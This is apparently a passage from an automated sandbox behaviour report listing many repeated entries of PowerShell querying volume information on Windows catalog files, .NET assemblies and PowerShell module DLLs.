Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
